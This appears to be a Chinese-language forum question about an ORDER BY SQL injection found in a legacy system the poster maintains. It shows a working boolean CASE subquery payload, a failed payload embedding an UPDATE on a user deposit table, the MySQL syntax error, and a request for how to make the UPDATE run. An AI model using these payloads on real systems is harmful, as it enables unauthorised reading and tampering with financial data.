發現一個正在維護的舊系統的基於orderBy的sql注入漏洞，準備驗證一下，

我先執行這個sql注入，是可以的

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select case when (1=1) then 1 else ( select deposit from sysuser_user_deposit )end)=1 ASC LIMIT 20 OFFSET 0

但是當我執行這個帶有update語句的sql時報錯了：

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select case when (1=1) then 1 else ( update sysuser_user_deposit set deposit=11)end)=1 ASC LIMIT 20 OFFSET 0

報錯

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update
 sysuser_user_deposit
 set
 deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9

我該如何讓他執行update？